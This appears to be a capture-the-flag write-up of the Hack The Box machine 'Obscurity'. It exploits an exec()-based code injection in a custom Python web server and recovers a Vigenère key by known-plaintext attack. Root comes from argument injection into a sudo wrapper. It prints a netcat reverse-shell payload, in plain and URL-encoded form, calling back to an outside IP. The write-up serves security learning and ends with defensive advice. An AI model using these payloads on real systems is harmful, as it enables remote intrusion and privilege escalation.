arrow-left arrow-right brightness-2 chevron-left chevron-right circle-half-full dots-horizontal facebook-box facebook loader magnify menu-down rss-box star twitter-box twitter white-balance-sunny window-close
Hacking Obscurity Machine
10 min read

Hacking Obscurity Machine

Hacking Obscurity Machine

Summary

Obscurity is medium difficulty Linux machine that features a custom web server. A code injection vulnerability is exploited to gain an initial foothold as www-data . Weak folder permissions reveal a custom cryptography algorithm, that has been used to encrypt the user's password. A known plaintext attack reveals the encryption key, which is used to decrypt the password. This password is used to move laterally to the user robert , who is allowed to run a faux terminal as root. This can be used to escalate privileges to root via winning a race condition or by overwriting sudo arguments.

Reconnaissance

NMAP Result

There are two open ports and two closed ports. SSH service running on port 22 seems normal and an interesting HTTP service on port 8080 running a BadHTTPServer.

Checking out the page of port 8080 will greet us with quoted 3 words.

Landing page of 8080

Scrolling down to the bottom of the page will lead us to some interesting information.

Bottom part of 8080
  • The domain name for this box is obscure.htb and not the typical machine.htb format like obscurity.htb.
  • The file name SuperSecureServer.py is hidden in an unknown directory.

I decided to use wfuzz to brute force the hidden directory using a compiled list of words from the webpage.

security
obscurity
secure
server
secret
development
dev
develop
possibledir.lst

After running the tool, I quickly found the hidden directory.

wfuzz result

Gaining User Access

Navigating to http://obscure.htb:8080/develop/SuperSecureServer.py gives us the source code for the web server.

import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess

respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}
{body}
"""
DOC_ROOT = "DocRoot"

CODES = {"200": "OK", 
        "304": "NOT MODIFIED",
        "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND", 
        "500": "INTERNAL SERVER ERROR"}

MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg", 
        "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2", 
        "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}


class Response:
    def __init__(self, **kwargs):
        self.__dict__.update(kwargs)
        now = datetime.now()
        self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
    def stringResponse(self):
        return respTemplate.format(**self.__dict__)

class Request:
    def __init__(self, request):
        self.good = True
        try:
            request = self.parseRequest(request)
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]
        except:
            self.good = False

    def parseRequest(self, request):        
        req = request.strip("\r").split("\n")
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}


class Server:
    def __init__(self, host, port):    
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))

    def listen(self):
        self.sock.listen(5)
        while True:
            client, address = self.sock.accept()
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()

    def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size)
                if data:
                    # Set the response to echo back the recieved data 
                    req = Request(data.decode())
                    self.handleRequest(req, client, address)
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False
    
    def handleRequest(self, request, conn, address):
        if request.good:
#            try:
                # print(str(request.method) + " " + str(request.doc), end=' ')
                # print("from {0}".format(address[0]))
#            except Exception as e:
#                print(e)
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum=document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]
        
        statusCode=CODES[statusNum]
        dateSent = ""
        server = "BadHTTPServer"
        modified = ""
        length = len(body)
        contentType = document["mime"] # Try and identify MIME type from string
        connectionType = "Closed"


        resp = Response(
        statusNum=statusNum, statusCode=statusCode, 
        dateSent = dateSent, server = server, 
        modified = modified, length = length, 
        contentType = contentType, connectionType = connectionType, 
        body = body
        )

        data = resp.stringResponse()
        if not data:
            return -1
        conn.send(data.encode())
        return 0

    def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "/index.html"
            requested = os.path.join(docRoot, path[1:])
            if os.path.isfile(requested):
                mime = mimetypes.guess_type(requested)
                mime = (mime if mime[0] != None else "text/html")
                mime = MIMES[requested.split(".")[-1]]
                try:
                    with open(requested, "r") as f:
                        data = f.read()
                except:
                    with open(requested, "rb") as f:
                        data = f.read()
                status = "200"
            else:
                errorPage = os.path.join(docRoot, "errors", "404.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read().format(path)
                status = "404"
        except Exception as e:
            print(e)
            errorPage = os.path.join(docRoot, "errors", "500.html")
            mime = "text/html"
            with open(errorPage, "r") as f:
                data = f.read()
            status = "500"
        return {"body": data, "mime": mime, "status": status}
Source code of SuperSecureServer.py

Reading and analyzing the source code in the serveDoc() function will lead us to these code lines with comments.

info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?

The python script uses a dangerous exec() statement that allows users to input commands directly into the command line. But before that, we need to escape the value of info variable to execute commands.

The value of info variable is output = 'Document: {}' and we can escape it by appending '; followed by a command and a # to comment the following characters.

Bypass: output = 'Document: ';<command_here>#

Requesting the following in cURL with the payload below will help us pop a shell.

Payload:

';os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.19 1337 >/tmp/f')#
curl http://obscure.htb:8080/%27%3b%6f%73%2e%73%79%73%74%65%6d%28%27%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%34%2e%31%39%20%31%33%33%37%20%3e%2f%74%6d%70%2f%66%27%29%23
Link with maliciously crafted payload
Popping www-data shell

Entering to Robert's home will greet us with many files.

Since I have no permission to read the user.txt file as www-data, I have to check each files inside his home.

The check.txt file contains a message: Encrypting this file with your key should result in out.txt, make sure your key is correct!

The out.txt file contains encrypted message that seems to be encrypted by the python script: ¦ÚÈêÚÞØÛÝÝ×ÐÊßÞÊÚÉæßÝËÚÛÚêÙÉëéÑÒÝÍÐêÆáÙÞãÒÑÐáÙ¦ÕæØãÊÎÍßÚêÆÝáäèÎÍÚÎëÑÓäáÛÌ×v

The content of passwordreminder.txt is also encrypted: ÑÈÌÉàÙÁÑ鯷¿k which might be useful in authenticating as Robert.

So the encrypted content of out.txt could possibly contain something useful and vital to decrypt the content of passwordreminder.txt. The objective is clear, to get the key.

The last file to check is the script written in python SuperSecureCrypt.py which could give us a detailed information on how the creator encrypts the out.txt and passwordreminder.txt files.

import sys
import argparse

def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted

def decrypt(text, key):
    keylen = len(key)
    keyPos = 0
    decrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return decrypted

parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')

parser.add_argument('-i',
                    metavar='InFile',
                    type=str,
                    help='The file to read',
                    required=False)

parser.add_argument('-o',
                    metavar='OutFile',
                    type=str,
                    help='Where to output the encrypted/decrypted file',
                    required=False)

parser.add_argument('-k',
                    metavar='Key',
                    type=str,
                    help='Key to use',
                    required=False)

parser.add_argument('-d', action='store_true', help='Decrypt mode')

args = parser.parse_args()

banner = "################################\n"
banner+= "#           BEGINNING          #\n"
banner+= "#    SUPER SECURE ENCRYPTOR    #\n"
banner+= "################################\n"
banner += "  ############################\n"
banner += "  #        FILE MODE         #\n"
banner += "  ############################"
print(banner)
if args.o == None or args.k == None or args.i == None:
    print("Missing args")
else:
    if args.d:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Decrypting...")
        decrypted = decrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(decrypted)
    else:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Encrypting...")
        encrypted = encrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(encrypted)
Source code of SuperSecureCrypt.py

Reading and analyzing the python script tells us that we can use it to encrypt plaintext and decrypt cipher text. Also, both function seems to be using a substitution cipher called Vigenère cipher.

For the Encryption, the plaintext(P) and key(K) are added modulo 255.
Ci = (Pi + Ki) mod 255

For the Decryption, the cipher text(C) are subtracted to key(k) module 255.
Pi = (Ci - Ki) mod 255

If we go back to the given script and check the decrypt function, we see that it operates by subtracting the key from the cipher text to return the plaintext.

Using the same script, we can do the following formula: Ki = (Ci - Pi) mod 255.
We can use the plaintext(P) as the key(k) and subtract it to the cipher text(c) to get the key(k).

So the command to get the key would be:

python3 SuperSecureCrypt.py -d -i out.txt -k "Encrypting this file with your key should result in out.txt, make sure your key is correct!" -o /tmp/key.txt
Command to get the key
Getting the Key

Result is alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovich

As I've mentioned, the encryption process is a simple substitution cipher only using the Vigenère cipher and the key used to encrypt the content of out.txt file is: alexandrovich.

Now, we can use it to decrypt the content of passwordreminder.txt.

The password

Password is SecThruObsFTW and we can now use it to authenticate as Robert.

Getting some food from Robert's home

Rooting the Machine

Going back to robert's directory, we noticed that there's a folder called BetterSSH, and running the sudo -l command tells us that we can run BetterSSH.py as root.

Files and Directories inside Robert's home

Accessing the BetterSSH.py will give us the following source code.

import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess

path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
    session['user'] = input("Enter username: ")
    passW = input("Enter password: ")

    with open('/etc/shadow', 'r') as f:
        data = f.readlines()
    data = [(p.split(":") if "$" in p else None) for p in data]
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords]) 
    with open('/tmp/SSH/'+path, 'w') as f:
        f.write(passwordFile)
    time.sleep(.1)
    salt = ""
    realPass = ""
    for p in passwords:
        if p[0] == session['user']:
            salt, realPass = p[1].split('$')[2:]
            break

    if salt == "":
        print("Invalid user")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    salt = '$6$'+salt+'$'
    realPass = salt + realPass

    hash = crypt.crypt(passW, salt)

    if hash == realPass:
        print("Authed!")
        session['authenticated'] = 1
    else:
        print("Incorrect pass")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
    traceback.print_exc()
    sys.exit(0)

if session['authenticated'] == 1:
    while True:
        command = input(session['user'] + "@Obscure$ ")
        cmd = ['sudo', '-u',  session['user']]
        cmd.extend(command.split(" "))
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        o,e = proc.communicate()
        print('Output: ' + o.decode('ascii'))
        print('Error: '  + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')
Source code of BetterSSH.py

The python script allows us to authenticate and interact with /etc/shadow file. If the credential provided is existed, it will just authenticate and permit us to run commands with sudo, but if not, it will create a user in a temporary file.

So the first thing I did is to create a bash file that will add robert as sudoer.

echo "usermod -aG sudo robert" > make_robert_as_sudoer.sh

Then I simply run sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py and entered robert's credential.

As I said, once authenticated, we can easily run command in sudo.

if session['authenticated'] == 1:
    while True:
        command = input(session['user'] + "@Obscure$ ")
        cmd = ['sudo', '-u',  session['user']]
        cmd.extend(command.split(" "))
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        o,e = proc.communicate()
        print('Output: ' + o.decode('ascii'))
        print('Error: '  + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')
Code block for authenticated user

Fortunately, there's a vulnerability in the code that allows us to pollute the -u option/argument of the sudo command.

Normally, if you run whoami it will be executed as sudo -u robert whoami and the output would be robert.

But if we run -u root whoami it will be executed as a sudo -u robert -u root whoami and the output would be root.

Running the command -u root /bin/bash make_robert_as_sudoer.sh will add Robert as sudoer.

Since I'm done running the python script and making robert as sudoer, just re-authenticate as Robert then run sudo -i, enter the password and you're root.

Rooted!

Takeaways

  • Review and configure the permission of the file to restrict external users from accessing it especially if it's for dev environment.
  • If possible, avoid using eval and exec in your source code to prevent command injection.
  • Conduct source code review to spot vulnerabilities in the code.
  • Review your sudo configuration.

Resources